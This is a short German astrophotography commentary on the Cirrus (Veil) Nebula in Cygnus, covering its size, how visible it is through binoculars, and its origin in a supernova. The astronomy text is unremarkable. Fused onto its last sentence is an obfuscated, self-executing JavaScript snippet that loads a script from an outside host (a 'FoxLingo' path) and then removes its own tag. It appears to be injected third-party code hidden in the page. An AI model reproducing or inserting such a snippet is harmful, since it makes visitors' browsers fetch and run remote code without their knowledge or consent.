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Der Cirrus-Nebel, Super-Nova Überrest im Schwan

"Es würde sich lohnen dem Cirrusnebel ganze Nächte an Zeit zu gönnen." So hatte ich vor etwa 2 Jahren meinen letzten Bildkommentar beendet. Eine längere Aufnahme offenbart tiefer die Strukturen des ausgedehnten Nebels. Durch seine Größe von etwa 4°x3° ist er eigentlich ein Feldstecherobjekt, aber seine weite Ausdehnung mindert auch seine wahrnehmbare Helligkeit am Himmel. Die hellen östlichen und westlichen Strukturen sind in einer klaren Nacht mit einem lichtstarken Feldstecher zu sehen. Die Milchstraße macht dabei einen ähnlich sternübersäten Eindruck wie auf dem Bild und behindert so die Wahrnehmung des Nebels.

Vor etwa 20.000 Jahren explodierte ein Stern inmitten der Milchstraße und nun treiben die Trümmer dieser riesigen Explosion weiter auseinander. Durch Gas und Staub, das sie in unserer Galaxie vorfinden, wird die Struktur immer feiner auseinander gezogen. Der Effekt von Schleierwolken wie wir sie von unserem Himmel kennen stellt sich auch im Weltall ein.!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

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